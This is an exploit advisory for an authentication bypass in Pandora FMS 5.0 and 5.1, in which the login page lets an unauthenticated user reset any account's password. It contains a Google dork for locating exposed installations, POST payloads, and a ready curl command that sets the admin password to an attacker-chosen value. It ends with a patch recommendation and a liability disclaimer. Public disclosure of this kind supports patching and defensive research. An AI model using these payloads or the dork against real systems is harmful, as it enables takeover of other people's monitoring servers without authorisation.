# Exploit Title: Authentication Bypass in Pandora FMS # Google Dork: intitle:"Pandora FMS - The Flexible Monitoring System" intitle:"Pandora FMS - el Sistema Flexible de Monitorización" # Date: 10/06/2015 # Exploit Author: Manuel Mancera (sinkmanu) | mmancera (at) a2secure (dot) com # Vendor Homepage: http://pandorafms.com/ # Software Link: http://pandorafms.com/ # Version: 5.0, 5.1 # Vulnerability Type : Authentication Bypass # Severity : High ### Description ### A vulnerability has been discovered in Pandora FMS that permits an unautheticated user to change the password for any Pandora user without knowing the actual user password. The vulnerability occurs at the login screen due to the session not being checked before the password is changed. ### Proof of Concept ### URL: /index.php Method: POST Payload: renew_password=1&login=admin Payload2: renew_password=1&login=admin&password_new=newpass&password_confirm=newpass ### Exploit ### curl -d "renew_password=1&login=admin&password_new=newpass&password_confirm=newpass" http://localhost/index.php ### Solution ### Apply the latest patches available at the vendor website. #################################################################### Disclaimer -------------------- All information is provided without warranty. The intent is to provide information to secure infrastructure and/or systems, not to be able to attack or damage. Therefore A2Secure shall not be liable for any direct or indirect damages that might be caused by using this information. ####################################################################